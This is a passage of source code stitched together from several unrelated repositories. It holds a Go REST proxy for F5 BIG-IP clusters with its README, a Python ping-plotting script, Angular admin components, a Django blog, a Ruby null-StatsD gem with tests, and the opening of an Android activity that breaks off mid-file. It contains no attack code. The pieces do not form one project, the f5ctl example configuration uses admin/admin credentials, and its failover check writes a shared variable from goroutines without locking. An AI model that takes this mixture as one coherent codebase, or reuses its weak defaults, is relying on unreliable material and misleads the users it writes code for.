rsp.Body.Close() if rsp.StatusCode != 200 { return nil, errors.New("Got '" + rsp.Status + "' from ltm.") } body, err := ioutil.ReadAll(rsp.Body) json, err := jason.NewObjectFromBytes(body) if err != nil { log.Println("Problem parsing json resp: ", err) } return json, nil } func GetActive(lbs []string, user string, pass string) string { active := "" var wg sync.WaitGroup for _, lb := range lbs { // Increment the WaitGroup counter. wg.Add(1) go func(lb string) { // Decrement the counter when the goroutine completes. defer wg.Done() json, err := GetReq(lb, "/mgmt/tm/cm/failover-status", user, pass) if err != nil { log.Println(err) return } status, _ := json.GetObject("entries") for _, value := range status.Map() { entries, _ := value.Object() status, _ := entries.GetObject("nestedStats", "entries", "status") description, _ := status.GetString("description") if description == "ACTIVE" { active = lb break } } }(lb) } // Wait for all requests to complete. wg.Wait() return active } <file_sep>/README.md # f5ctl *A REST API Proxy to quick and easy control clusters of F5 BIGIPs* f5ctl is built in Go for easy deployment, concurrency and simplicity. It serves a simple REST API that can be used to get status on nodes and to change their status. It will auto-detect the Bigip that is Active in a cluster. ### Installing from source #### Dependencies * Git * Go 1.4+ * F5 LTM 11.4+ with REST API Enabled #### Clone and Build locally: ``` sh git clone https://github.com/martensson/f5ctl.git cd f5ctl go build ``` ### Create a config.yml file and add all your bigips: ``` yaml --- apiuser: "admin" apipass: "admin" f5: external: user: "admin" pass: "<PASSWORD>" ltm: - "ltmext01" - "ltmext02" internal: user: "admin" pass: "<PASSWORD>" ltm: - "ltmint01" - "ltmint02" ``` ### Running f5ctl ``` sh ./f5ctl -p 5000 -f /path/to/config.yml ``` or just ``` sh ./f5ctl ``` ### CURL Examples #### Get info about all nodes ``` sh curl -u admin:admin -i localhost:5000/v1/nodes/internal/ ``` #### Get info about one node ``` sh curl -u admin:admin -i localhost:5000/v1/nodes/internal/mynginxserver ``` #### Enable a node ``` sh curl -u admin:admin -i localhost:5000/v1/nodes/internal/mynginxserver -X PUT -d '{"State":"enabled"}' ``` #### Force offline a node ``` sh curl -u admin:admin -i localhost:5000/v1/nodes/internal/mynginxserver -X PUT -d '{"State":"forced-offline"}' ``` <file_sep>/f5ctl.go /* f5ctl - Code by <NAME> <<EMAIL>> */ package main import ( "flag" "io/ioutil" "log" "net/http" "github.com/ant0ine/go-json-rest/rest" "gopkg.in/yaml.v1" ) type Bigip struct { User string Pass string Ltm []string } type f5 map[string]Bigip type Config struct { Apiuser string Apipass string F5 f5 } var cfg Config func main() { port := flag.String("p", "5000", "Listen on this port. (default 5000)") config := flag.String("f", "config.yml", "Path to config. (default config.yml)") flag.Parse() file, err := ioutil.ReadFile(*config) if err != nil { log.Fatal(err) } err = yaml.Unmarshal(file, &cfg) if err != nil { log.Fatal("Problem parsing config: ", err) } api := rest.NewApi() //api.Use(rest.DefaultProdStack...) statusMw := &rest.StatusMiddleware{} api.Use(statusMw) api.Use(&rest.AccessLogApacheMiddleware{Format: rest.CombinedLogFormat}) api.Use(&rest.TimerMiddleware{}) api.Use(&rest.RecorderMiddleware{}) api.Use(&rest.PoweredByMiddleware{XPoweredBy: "f5ctl"}) api.Use(&rest.RecoverMiddleware{}) api.Use(&rest.GzipMiddleware{}) api.Use(&rest.JsonIndentMiddleware{}) api.Use(&rest.AuthBasicMiddleware{ Realm: "f5ctl", Authenticator: func(userId string, password string) bool { if userId == cfg.Apiuser && password == cfg.Apipass { return true } return false }, }) router, err := rest.MakeRouter( &rest.Route{"GET", "/", func(w rest.ResponseWriter, r *rest.Request) { w.WriteJson(statusMw.GetStatus()) }, }, &rest.Route{"GET", "/v1/nodes/:env/#search", GetNodes}, &rest.Route{"GET", "/v1/nodes/:env/", GetNodes}, &rest.Route{"PUT", "/v1/nodes/:env/#search", PutNodes}, ) api.SetApp(router) log.Println("Starting f5ctl on :" + *port) log.Fatal(http.ListenAndServe(":"+*port, api.MakeHandler())) } <file_sep>/nodes.go package main import ( "log" "net" "net/http" "github.com/ant0ine/go-json-rest/rest" "github.com/antonholmquist/jason" ) type Node struct { Name string Description string Session string State string } type Nodes map[string]Node func FindNodes(host string, search string, user string, pass string) (Nodes, error) { ip := net.ParseIP(search) var json *jason.Object nodes := Nodes{} json, err := GetReq(host, "/mgmt/tm/ltm/node", user, pass) if err != nil { return nil, err } items, _ := json.GetObjectArray("items") for _, value := range items { if ip != nil { addr, _ := value.GetString("address") if addr != ip.String() { continue } } else if search != "" { name, _ := value.GetString("name") if search != name { continue } } var node Node address, _ := value.GetString("address") name, _ := value.GetString("name") description, _ := value.GetString("description") state, _ := value.GetString("state") session, _ := value.GetString("session") node.Name = name node.Description = description node.State = state node.Session = session nodes[address] = node } return nodes, nil } func GetNodes(w rest.ResponseWriter, r *rest.Request) { env := r.PathParam("env") search := r.PathParam("search") host := "" if bigip, ok := cfg.F5[env]; ok { host = GetActive(bigip.Ltm, bigip.User, bigip.Pass) } else { rest.Error(w, "Env not found", 404) return } if host == "" { rest.Error(w, "No active ltm", http.StatusInternalServerError) return } nodes, err := FindNodes(host, search, cfg.F5[env].User, cfg.F5[env].Pass) if err != nil { log.Panic(err) rest.Error(w, err.Error(), http.StatusInternalServerError) return } w.Header().Set("X-F5", host) if len(nodes) > 0 { w.WriteJson(nodes) return } else { rest.Error(w, "Node not found", 404) return } } func PutNodes(w rest.ResponseWriter, r *rest.Request) { env := r.PathParam("env") search := r.PathParam("search") var payload map[string]string err := r.DecodeJsonPayload(&payload) if err != nil { rest.Error(w, err.Error(), http.StatusInternalServerError) return } if payload["State"] != "enabled" && payload["State"] != "disabled" && payload["State"] != "forced-offline" { rest.Error(w, "Please give a valid state", 400) return } host := "" if bigip, ok := cfg.F5[env]; ok { host = GetActive(bigip.Ltm, bigip.User, bigip.Pass) } else { rest.Error(w, "Env not found", 404) return } if host == "" { rest.Error(w, "No active ltm", http.StatusInternalServerError) return } nodes, err := FindNodes(host, search, cfg.F5[env].User, cfg.F5[env].Pass) if err != nil { rest.Error(w, err.Error(), http.StatusInternalServerError) return } w.Header().Set("X-F5", host) if len(nodes) == 1 { var node Node for _, n := range nodes { node = n } if payload["State"] == "enabled" { PutReq(host, "/mgmt/tm/ltm/node/"+node.Name, []byte(`{"state": "user-up", "session": "user-enabled"}`), cfg.F5[env].User, cfg.F5[env].Pass) nodes, err := FindNodes(host, search, cfg.F5[env].User, cfg.F5[env].Pass) if err != nil { rest.Error(w, err.Error(), http.StatusInternalServerError) return } w.WriteJson(nodes) return } if payload["State"] == "disabled" { PutReq(host, "/mgmt/tm/ltm/node/"+node.Name, []byte(`{"state": "user-up", "session": "user-disabled"}`), cfg.F5[env].User, cfg.F5[env].Pass) nodes, err := FindNodes(host, search, cfg.F5[env].User, cfg.F5[env].Pass) if err != nil { rest.Error(w, err.Error(), http.StatusInternalServerError) return } w.WriteJson(nodes) return } if payload["State"] == "forced-offline" { PutReq(host, "/mgmt/tm/ltm/node/"+node.Name, []byte(`{"state": "user-down", "session": "user-disabled"}`), cfg.F5[env].User, cfg.F5[env].Pass) nodes, err := FindNodes(host, search, cfg.F5[env].User, cfg.F5[env].Pass) if err != nil { rest.Error(w, err.Error(), http.StatusInternalServerError) return } w.WriteJson(nodes) return } } else { rest.Error(w, "Node not found", 404) return } }
eef5a36fe8d6e036e701f30f74b511f9120f8052
[ "Markdown", "Go" ]
4
Go
leonlee/f5ctl
3eba124c6d8cba3b14caef97d6f503703e66bb2d
7f4f0334bb5ad785177bba08325cf8fef9ae5ad8
refs/heads/master
<file_sep>import os import _thread import fileinput import time import re import matplotlib.pyplot as plt import matplotlib.animation as animation file= open("ping_output.log","w+") file.truncate(0) fig = plt.figure() ax = fig.add_subplot(1, 1, 1) plt.grid(b=True, which='major', color='#666666', linestyle='-') time_pattern=r"time=\d+\.\d*" time_pattern_obj=re.compile(time_pattern) sequence_pattern=r"icmp_seq[ =]{1}\d+" sequence_pattern_obj=re.compile(sequence_pattern) timeout_pattern=r"timeout" timeout_pattern_obj=re.compile(timeout_pattern) ping_count = 0 ping_time = [] ping_sequence = [] ping_base = [] def ping(): os.system("ping 8.8.8.8 > ping_output.log") def read_stdin(i): where = file.tell() line = file.readline() if not line: time.sleep(1) file.seek(where) else: analize_line(line) def analize_line(line): global ping_sequence global ping_time global time_pattern global ping_count global ping_base time_result = time_pattern_obj.search(line) #sequence_result = sequence_pattern_obj.search(line) timeout_result = timeout_pattern_obj.search(line) if time_result: time = float(time_result.group()[5:]) ping_time.append(time) ping_sequence.append(ping_count) ping_base.append(15) ping_count += 1 elif timeout_result: ping_time.append(700) ping_sequence.append(ping_count) ping_base.append(15) ping_count += 1 #if sequence_result: # sequence = int(sequence_result.group()[9:]) ping_time = ping_time[-50:] ping_sequence = ping_sequence[-50:] ping_base = ping_base[-50:] ax.clear() ax.plot(ping_sequence, ping_time, color="blue") ax.plot(ping_sequence, ping_base, color="red") plt.minorticks_on() plt.grid(b=True, which='minor', color='#999999', linestyle='-', alpha=0.2) plt.grid(b=True, which='major', color='#666666', linestyle='-') plt.title('Ping in Casa') plt.ylabel('Time (ms)') try: _thread.start_new_thread( ping, () ) except: print("Error: unable to start thread") ani = animation.FuncAnimation(fig, read_stdin, interval=500, repeat=False) plt.show()
0138cee1aad5dc6ac7f9fb1bcb2424da4b6c8236
[ "Python" ]
1
Python
GonzaloHirsch/Python-Projects
3a51efe4ee3bcb15f4833559340d703fe36aa287
8dd1c1f0fcd979906efa455bb46c7f04ffb4e249
refs/heads/main
<file_sep>import "./App.css"; import { useState } from "react"; import Axios from "axios"; function App() { const [name, setName] = useState(""); const [author, setAuthor] = useState(''); const [bookList, setBookList] = useState([]); const addBook = () => { console.log("Add a book") Axios.post("http://localhost:3306/create", { name: name, author: author, }).then(() => { setBookList([ ...bookList, { name: name, author: author, }, ]); }); }; const getBooks = () => { Axios.get("http://localhost:3306/books").then((response) => { setBookList(response.data); }); }; // const updateBook = (id) => { // Axios.put("http://localhost:3306/update", { wage: newWage, id: id }).then( // (response) => { // setBookList( // bookList.map((val) => { // return val.id === id // ? { // id: val.id, // name: val.name, // country: val.country, // age: val.age, // position: val.position, // wage: newWage, // } // : val; // }) // ); // } // ); // }; const deleteBook = (id) => { Axios.delete(`http://localhost:3306/delete/${id}`).then((response) => { setBookList( bookList.filter((val) => { return val.id !== id; }) ); }); }; return ( <div className="App"> <div className="information"> <label>Name:</label> <input type="text" onChange={(event) => { setName(event.target.value); }} /> <label>Author:</label> <input type="text" onChange={(event) => { setAuthor(event.target.value); }} /> <button onClick={addBook}>Add Book</button> </div> <div className="books"> <button onClick={getBooks}>Show Books</button> {bookList.map((val, key) => { return ( <div className="book"> <div> <h3>Name: {val.name}</h3> <h3>Author: {val.author}</h3> </div> <div> {/* <button onClick={() => { updateBook(val.id); }} > {" "} Update </button> */} <button onClick={() => { deleteBook(val.id); }} > Delete </button> </div> </div> ); })} </div> </div> ); } export default App;
46e8e8e3b163e72d5004c94a71d88ce29f6036fd
[ "JavaScript" ]
1
JavaScript
DenisOluoch/lib-crud
a4e5cb7cf0d6b9ae8290383a265647fde8c6ddd3
37884a79a732ad0e13aa2b8f19c19a33dd27d2a9
refs/heads/master
<file_sep>module NullStatsd class Statsd attr_accessor :namespace, :host, :port, :logger def initialize(host:, port:, logger:) @host = host @port = port @namespace = "" @logger = logger @logger.debug "Connecting to fake Statsd, pretending to be on #{host}:#{port}" end def increment(stat, opts = {}) notify "Incrementing #{stat}#{opts_string(opts)}" end def decrement(stat, opts = {}) notify "Decrementing #{stat}#{opts_string(opts)}" end def count(stat, count, opts = {}) notify "Increasing #{stat} by #{count}#{opts_string(opts)}" end def gauge(stat, value, opts = {}) notify "Setting gauge #{stat} to #{value}#{opts_string(opts)}" end def histogram(stat, value, opts = {}) notify "Logging histogram #{stat} -> #{value}#{opts_string(opts)}" end def timing(stat, ms, _sample_rate = 1, opts = {}) notify "Timing #{stat} at #{ms} ms#{opts_string(opts)}" end def set(stat, value, opts = {}) notify "Setting #{stat} to #{value}#{opts_string(opts)}" end def service_check(name, status, opts = {}) notify "Service check #{name}: #{status}#{opts_string(opts)}" end def event(title, text, opts = {}) notify "Event #{title}: #{text}#{opts_string(opts)}" end def close logger.debug "Close called" end def batch yield self end def time(stat, opts = {}) time_in_sec, result = benchmark { yield } logger.debug "#{identifier_string} Recording timing info in #{stat} -> #{time_in_sec} sec#{opts_string(opts)}" result end def with_namespace(namespace) new_ns = dup if @namespace == "" || @namespace == nil new_ns.namespace = namespace else new_ns.namespace = "#{@namespace}.#{namespace}" end if block_given? yield new_ns else new_ns end end private def identifier_string "[NullStatsD #{@host}:#{@port}-#{@namespace}]" end def benchmark(&block) start = Time.now result = block.call elapsed_time = Time.now - start return elapsed_time, result end def notify(msg) logger.debug "#{identifier_string} #{msg}" end def opts_string(opts) opts.empty? ? nil : " with opts #{stringify_hash(opts)}" end def stringify_hash(h) h.map do |key, val| value = val.respond_to?(:map) ? val.join(",") : val "#{key}:#{value}" end.join("|") end end end <file_sep>require "spec_helper" require "logger" describe NullStatsd do let(:logger) { instance_double("Logger", debug: nil) } let(:statsd) { NullStatsd::Statsd.new(host: nil, port: nil, logger: logger) } it "has a version number" do expect(NullStatsd::VERSION).not_to be nil end describe "#time" do it "executes a block" do result = statsd.time("time_me") do 1 + 1 end expect(result).to eq(2) end end shared_examples_for "a statsd method" do |method_name| before do @null_statsd = statsd end describe "without options" do let(:method) { ->(args, opts = {}) { @null_statsd.send(method_name, *args, opts) } } let(:expected_key) { args.first } it "exists" do expect { method.call(args) }.not_to raise_error end describe "without options" do it "logs a message containing the proper key" do method.call(args) expect(logger).to have_received(:debug).with(match expected_key) end end describe "with options" do let(:opts) { { foo: "bar", baz: "zork" } } let(:expected_opts) { 'foo:bar\|baz:zork' } it "logs a message containing the proper string" do method.call(args, opts) expect(logger).to have_received(:debug).with(match expected_opts) end describe "when options contain an array" do let(:opts) { { foo: ["baz", "bak", "bat"] } } let(:expected_opts) { "foo:baz,bak,bat" } it "logs a message containing the proper string" do method.call(args, opts) expect(logger).to have_received(:debug).with(match expected_opts) end end end end end describe "Statsd fakes" do describe "#close" do it "logs the proper message" do statsd.close expect(logger).to have_received(:debug).with("Close called") end end describe "#batch" do it "yields itself to the given block" do statsd.batch do |instance| expect(instance).to eq statsd end end end describe "single arg methods" do let(:args) { ["stat"] } describe "#increment" do it_behaves_like "a statsd method", :increment end describe "#decrement" do it_behaves_like "a statsd method", :decrement end end describe "key/value metrics" do let(:args) { ["stat", "value"] } describe "#count" do it_behaves_like "a statsd method", :count end describe "#gauge" do it_behaves_like "a statsd method", :gauge end describe "#histogram" do it_behaves_like "a statsd method", :histogram end describe "#set" do it_behaves_like "a statsd method", :set end describe "#service_check" do it_behaves_like "a statsd method", :service_check end describe "#event" do it_behaves_like "a statsd method", :event end end describe "#timing" do let(:args) { ["stat", 42, 1] } it_behaves_like "a statsd method", :timing end end describe "#with_namespace" do let(:namespace) { "Foo" } subject(:with_namespace) { statsd.with_namespace(namespace) } context "without a &block" do it "returns a `dup` of itself" do expect(with_namespace.hash).not_to eq statsd.hash end end context "with a &block given" do it "yields a properly namespaced dup of itself to the block" do statsd.with_namespace(namespace) do |ns_statsd| expect(ns_statsd.namespace).to eq namespace expect(ns_statsd.hash).not_to eq statsd.hash end end end describe "for an object without a namespace" do it "adds the namespace" do expect(with_namespace.namespace).to eq namespace end end describe "for an object already containing a namespace" do subject(:with_preexisting_namespace) { with_namespace.with_namespace(namespace) } it "adds the namespace" do expect(with_preexisting_namespace.namespace).to eq "#{namespace}.#{namespace}" end end end end <file_sep>require "null_statsd/version" require "null_statsd/statsd" module NullStatsd end <file_sep># NullStatsd [![Travis](https://img.shields.io/travis/usertesting/null_statsd?style=for-the-badge&logo=travis)](https://travis-ci.org/usertesting/null_statsd) [![Coveralls github](https://img.shields.io/coveralls/github/usertesting/null_statsd?style=for-the-badge)](https://coveralls.io/github/usertesting/null_statsd) [![Code Climate maintainability](https://img.shields.io/codeclimate/maintainability/usertesting/null_statsd?style=for-the-badge)](https://codeclimate.com/github/usertesting/null_statsd) NullStatsd is a [Statsd](https://github.com/statsd/statsd) implementation which utilizes the [Null Object Pattern](https://en.wikipedia.org/wiki/Null_object_pattern), allowing for a fully stubbed Statsd object in your development and testing environments. ## Installation Add this line to your application's Gemfile: ```ruby gem 'null_statsd' ``` And then execute: $ bundle Or install it yourself as: $ gem install null_statsd ## Usage Create a thin wrapper around your Statsd implementation: ```ruby class MyStatsd def self.new if ENV["STATSD_URL"] # OR if Rails.development || Rails.staging ... Statsd.new(statsd_host, statsd_port, *additional_params) else NullStatsd::Statsd.new(host: statsd_host, port: statsd_port, logger: Rails.logger) end end end ``` Create an instance and use it as normal: ```ruby MyStatsd.new.increment(...) ``` Notice that your `statsd` endpoint is _not_ receiving data. Also notice that your _logs_ are receiving data. ``` [NullStatsD :-] Incrementing media.book.consumed with opts genre:science fiction [NullStatsD :-] Decrementing media.book.on_hand [NullStatsD :-] Recording timing info in book checkout -> 0.512917 sec ``` ### Supported API ```ruby instance = NullStatsd::Statsd.new(host: "https://fakestatsd.com", port: 4242, logger: $stdout ``` #### increment(stat, opts = {}) ```ruby instance.increment "media.book.consumed", genre: "horror" ``` > [NullStatsD :-] Incrementing media.book.consumed with opts genre:horror #### decrement(stat, opts = {}) ```ruby instance.decrement "media.book.on_hand", genre: "science fiction" ``` > [NullStatsD :-] Decrementing media.book.on_hand with opts genre:science fiction #### count(stat, opts = {}) ```ruby instance.count "responses", 3 ``` > [NullStatsD :-] Increasing responses by 3 #### guage(stat, opts = {}) ```ruby instance.guage "media.book.return_time", 12, measurement: "days" ``` > [NullStatsD :-] Setting guage media.book.return_time to 12 with opts measurement:days #### histogram(stat, opts = {}) ```ruby instance.histogram "media.book.lent.hour", 42 ``` > [NullStatsD :-] Logging histogram media.book.lent.hour -> 42 #### timing(stat, ms, opts = {}) ```ruby instance.timing "book checkout", 94, tags: "speedy" ``` > [NullStatsD :-] Timing book checkout at 94 ms with opts tags:speedy #### set(stat, opts = {}) ```ruby instance.set "media.book.lent", 10_000_000 ``` > [NullStatsD :-] Setting media.book.lent to 10000000 #### service_check(stat, opts = {}) ```ruby instance.service_check "door.locked", "ok" ``` > [NullStatsD :-] Service check door.locked: ok #### event(stat, opts = {}) ```ruby instance.event "Leak", "The library roof has a leak on the west end. Please take care" ``` > [NullStatsD :-] Event Leak: The library roof has a leak on the west end. Please take care #### time(stat, opts = {}) ```ruby instance.time("media.movie.consume") do Movie.new().watch end ``` > [NullStatsD :-] Recording timing info in media.movie.consumed -> 12323 sec #### close(stat, opts = {}) ```ruby instance.close ``` > [NullStatsD :-] Close called ## Development ## Testing `rake spec` ## License The gem is available as open source under the terms of the [MIT License](LICENSE.txt). Library created by [UserTesting](https://usertesting.com). ![UserTesting](UserTesting.png) ## Contributing 1. [Fork it](https://github.com/usertesting/null_statsd/fork) 2. Create your feature branch (`git checkout -b my-new-feature`) 3. Commit your changes (`git commit -am 'Add some feature'`) 4. Push to the branch (`git push origin my-new-feature`) 5. Create a new Pull Request Bug reports and pull requests are welcome on GitHub at [https://github.com/usertesting/null_statsd](https://github.com/usertesting/null_statsd)
fa2fd00806ffce4ca4428388dc5726935710014b
[ "Markdown", "Ruby" ]
4
Ruby
usertesting/null_statsd
d353ff8ba3bd36108e78056d429b2710f0166bf2
37e3a509559cb6f661732591a93d898b0e276004
refs/heads/master
<file_sep>//motor #include <Stepper.h> int in1Pin = 12; int in2Pin = 11; int in3Pin = 10; int in4Pin = 9; int x = 1; Stepper motor(512, in1Pin, in2Pin, in3Pin, in4Pin); // switch function int inPin = 2; volatile byte state = LOW; int reading; // the current reading from the input pin int bstate = 0; int previous = LOW; // 3 watt light const int transistorPin = 3; void setup() { //motor pinMode(in1Pin, OUTPUT); pinMode(in2Pin, OUTPUT); pinMode(in3Pin, OUTPUT); pinMode(in4Pin, OUTPUT); motor.setSpeed(4); Serial.begin(9600); //switch and light pinMode(inPin, INPUT); pinMode(transistorPin, OUTPUT); } void loop() { //motor motor.step(1); // read switch state and turn on light reading = digitalRead(inPin); if (reading == HIGH && previous == LOW) { bstate = bstate + 1; bstate = bstate % 4; } if (bstate == 1) { analogWrite(transistorPin, 255); } else if (bstate == 2) { analogWrite(transistorPin, 150); } else if (bstate == 3) { analogWrite(transistorPin, 50); } else { analogWrite(transistorPin, 0); } previous = reading; }
b7302f2816e2b8a53fe61465e0410ea5c895ede2
[ "C++" ]
1
C++
hellonun/little-sun
d538cac757a718ec45eea0c67cf1f1a1dcf4d619
b14dac086a43ec1f050de1962a78e7b6ea21e3d5
refs/heads/master
<file_sep>import { Component, OnInit } from '@angular/core'; import { AngularFireAuth } from 'angularfire2/auth'; import { AngularFirestore, AngularFirestoreDocument } from '@angular/fire/firestore'; import * as firebase from 'firebase'; import { Observable } from 'rxjs'; interface User { uid: string; email: string; displayName?: string; } @Component({ selector: 'app-home', templateUrl: './home.component.html', styleUrls: ['./home.component.css'] }) export class HomeComponent implements OnInit { private _datum: Date; private _uur: Number; private _name: Observable<String>; constructor(public af: AngularFireAuth, private afs: AngularFirestore) { this._datum = new Date(); this._uur = this._datum.getHours(); const cu = this.af.user.subscribe(au => { if (au) { const userRef: AngularFirestoreDocument<any> = this.afs.doc(`admins/${au.uid}`); const user = userRef.valueChanges(); if (user) { user.subscribe(value => { this._name = value.displayName; // console.log(value.displayName); }); } } }); } ngOnInit() { } /** * Geeft het uur van nu terug */ get uur(): Number { return this._uur; } get name(): Observable<String> { return this._name; } /** * Geeft de begroetboodschap van nu terug */ get berekenGroet(): string { if (this.uur < 6) { return 'Goeienacht '; } else if (this.uur < 12) { return 'Goeiemorgen '; } else if (this.uur < 14) { return 'Goeiemiddag '; } else if (this.uur < 18) { return 'Goeienamiddag '; } else if (this.uur < 22) { return 'Goeieavond '; } else if (this.uur < 24) { return 'Goeienacht '; } else { return 'Goeiedag '; } } } <file_sep>import { Component, OnInit } from '@angular/core'; import { AngularFireDatabase } from 'angularfire2/database'; import { Observable } from 'rxjs'; import { MatTableDataSource } from '@angular/material'; import { AngularFireAuth } from 'angularfire2/auth'; import { GebruikerDataService } from '../gebruiker-data.service'; import { filter } from 'rxjs/operators'; export interface Groep { value: string; viewValue: string; } @Component({ selector: 'app-gebruikers', templateUrl: './gebruikers.component.html', styleUrls: ['./gebruikers.component.css'] }) export class GebruikersComponent implements OnInit { private _gebruikers: Observable<any[]>; public groepen: Groep[] = []; public groepNummers = [' A ']; public selectedGroepNr = ' A '; public selectedGroep = 'alle gebruikers'; displayedColumns: string[] = ['name', 'email', 'group']; dataSource: MatTableDataSource<any>; constructor(public afDb: AngularFireDatabase, public af: AngularFireAuth, public gService: GebruikerDataService) { this._gebruikers = this.getItems(); this._gebruikers.subscribe(result => { this.setGroepen(result); this.dataSource = new MatTableDataSource(result); console.log(this.dataSource.data); }); } getItems(): Observable<any[]> { return this.gService.getUsers(); } get items(): Observable<any[]> { return this._gebruikers; } ngOnInit() { } setGroepen(result: any[]) { result.forEach(gebruiker => { if (this.groepNummers.indexOf(gebruiker.groepnr) === -1) { this.groepNummers.push(gebruiker.groepnr); } }); this.groepNummers.sort(); this.groepNummers.forEach(nummer => { if (nummer !== ' A ') { this.groepen.push({ value: nummer, viewValue: 'Groep ' + nummer }); } else { this.groepen.push({ value: nummer, viewValue: 'Geen' }); } }); } applyFilter(filterValue: string) { this.dataSource.filter = filterValue.trim().toLowerCase(); } applyGroepFilter(filterValue: string) { this._gebruikers.subscribe(result => { this.dataSource = new MatTableDataSource(result); if (filterValue !== ' A ') { const newData = []; this.dataSource.data.forEach(element => { if (element.groepnr === filterValue) { newData.push(element); } }); this.dataSource = new MatTableDataSource(newData); this.selectedGroep = 'Groep ' + filterValue; this.selectedGroepNr = filterValue } else { this.selectedGroep = 'alle gebruikers'; this.selectedGroepNr = ' A ' } }); } changeGroup(uid, nr) { const gebruiker = this.gService.getUserById(uid); gebruiker.subscribe(result => { const updatedGebruiker = { 'email': result.email, 'groepnr': nr.value.toString(), 'name': result.name }; this.gService.updateUser(uid, updatedGebruiker).subscribe((val) => console.log(val)); }); } addGroup() { const n: number = +this.groepen[this.groepen.length-1].value + 1 console.log(n) this.groepen.push({ value: n.toString(), viewValue: 'Groep ' + n }); this.groepNummers.push(n.toString()); } } <file_sep>import { NgModule } from '@angular/core'; import { Routes, RouterModule } from '@angular/router'; import { HomeComponent } from './home/home.component'; import { SessieLijstComponent } from './sessie-lijst/sessie-lijst.component'; import { AuthGuardService } from './auth-guard.service'; import { LoginComponent } from './login/login.component'; import { RegistrerenComponent } from './registreren/registreren.component'; import { GebruikersComponent } from './gebruikers/gebruikers.component'; const appRoutes: Routes = [ { path: '', canActivate: [AuthGuardService], component: HomeComponent }, { path: 'login', component: LoginComponent }, { path: 'registreren', component: RegistrerenComponent }, { path: 'sessies', canActivate: [AuthGuardService], component: SessieLijstComponent }, { path: 'gebruikers', canActivate: [AuthGuardService], component: GebruikersComponent }, { path: '**', canActivate: [AuthGuardService], component: HomeComponent } ]; @NgModule({ imports: [RouterModule.forRoot(appRoutes)], exports: [RouterModule] }) export class AppRoutingModule { }
0e6fdae6cc4d9216f5069ea9092c64870127d68c
[ "TypeScript" ]
3
TypeScript
bramhuys/test
615defc4a56d2493498b7e67eb07047e0ec1e70a
1dfec322c89fff68c7b0381103dd7e951abb8751
refs/heads/master
<file_sep>from django.views import generic from .models import Post from .forms import CommentForm,PostForm from django.template.defaultfilters import slugify from django.shortcuts import render,redirect ,get_object_or_404 class PostList(generic.ListView): queryset = Post.objects.filter(status=1).order_by("-created_on") template_name = "index.html" paginate_by = 3 # class PostDetail(generic.DetailView): # model = Post # template_name = 'post_detail.html' def post_detail(request, slug): template_name = "post_detail.html" post = get_object_or_404(Post, slug=slug) comments = post.comments.filter(active=True).order_by("-created_on") new_comment = None # Comment posted if request.method == "POST": comment_form = CommentForm(data=request.POST) if comment_form.is_valid(): # Create Comment object but don't save to database yet new_comment = comment_form.save(commit=False) # Assign the current post to the comment new_comment.post = post # Save the comment to the database new_comment.save() else: comment_form = CommentForm() return render( request, template_name, { "post": post, "comments": comments, "new_comment": new_comment, "comment_form": comment_form, }, ) def createpost(request): template = "create_form.html" form = PostForm(request.POST or None,request.FILES or None) if form.is_valid(): post = form.save(commit=False) post.slug = slugify(post.title) post.author = request.user post.save() return redirect('home') return render(request,template,{'form':form}) <file_sep>asgiref==3.2.10 dj-database-url==0.5.0 Django==3.1 django-crispy-forms==1.9.2 django-heroku==0.3.1 django-js-asset==1.2.2 django-summernote==0.8.11.6 gunicorn==20.0.4 psycopg2==2.8.5 python-decouple==3.3 pytz==2020.1 sqlparse==0.3.1 whitenoise==5.2.0 <file_sep>from .models import Comment,Post from django import forms from django_summernote.widgets import SummernoteWidget, SummernoteInplaceWidget class CommentForm(forms.ModelForm): class Meta: model = Comment fields = ('name', 'email', 'body') class PostForm(forms.ModelForm): class Meta: model = Post fields =('title','content') widgets = { 'content': SummernoteWidget(), }<file_sep>from django.apps import AppConfig class VinayappConfig(AppConfig): name = 'vinayapp'
9781bcda2cff9db3177b7186fd8cba8844a0403d
[ "Python", "Text" ]
4
Python
kolluvinay425/kollublog
7cb65d3553cdd18b4ae6730c5e76d2e386fa7539
35f32ffcc59f4b9a13f0f0289fb4db358ea5c024
refs/heads/master
<repo_name>PDCPInCSU/Android<file_sep>/app/src/main/java/com/example/fanhongyi/croopinion/MainActivity.java package com.example.fanhongyi.croopinion; import android.content.Intent; import android.os.AsyncTask; import android.os.Bundle; import android.support.design.widget.FloatingActionButton; import android.support.design.widget.Snackbar; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentTransaction; import android.util.Log; import android.view.View; import android.support.design.widget.NavigationView; import android.support.v4.view.GravityCompat; import android.support.v4.widget.DrawerLayout; import android.support.v7.app.ActionBarDrawerToggle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.Toolbar; import android.view.Menu; import android.view.MenuItem; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import java.net.URL; public class MainActivity extends AppCompatActivity implements NavigationView.OnNavigationItemSelectedListener { private Fragment f1,f2,f5,f6; private FragmentManager manager; private FragmentTransaction transaction; private TextView mUserText; public static String data="{\"keywords\":[\"w1\",\"w2\",\"w3\",\"w4\",\"w5\",\"w6\",\"w7\",\"w8\",\"w9\",\"w10\"],\"tendency\":[66.6,13.4,20],\"frequency\":[1,2,3,4,5,6,7]}"; public static String[] newTopic=new String[10]; public static float[] reportTendency=new float[3]; public static float[] reportFrequency=new float[7]; class getDataTask extends AsyncTask<Void, Void, String> { @Override protected String doInBackground(Void... params) { String r=""; try { URL u=NetUtils.buildUrl(); r=NetUtils.getResponseFromHttpUrl(u); Log.i("doInBackground",r); data = r; } catch (Exception e) { e.printStackTrace(); //return null; } return r; //return data; } @Override protected void onPostExecute(String msg) { Log.i("onPostExecute",msg); //data=msg; } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // getDataTask dataTask=new getDataTask(); // dataTask.execute(); // while(data.equals("")){ // try{ // Thread.currentThread().sleep(1000); // Log.i("Sleep","Waiting"); // }catch(InterruptedException ie){ // ie.printStackTrace(); // } // } NetUtils.processData(data); Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar); setSupportActionBar(toolbar); Intent intent=getIntent(); String userValue=intent.getStringExtra("u"); manager = getSupportFragmentManager(); transaction = manager.beginTransaction(); DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout); ActionBarDrawerToggle toggle = new ActionBarDrawerToggle( this, drawer, toolbar, R.string.navigation_drawer_open, R.string.navigation_drawer_close); drawer.setDrawerListener(toggle); toggle.syncState(); NavigationView navigationView = (NavigationView) 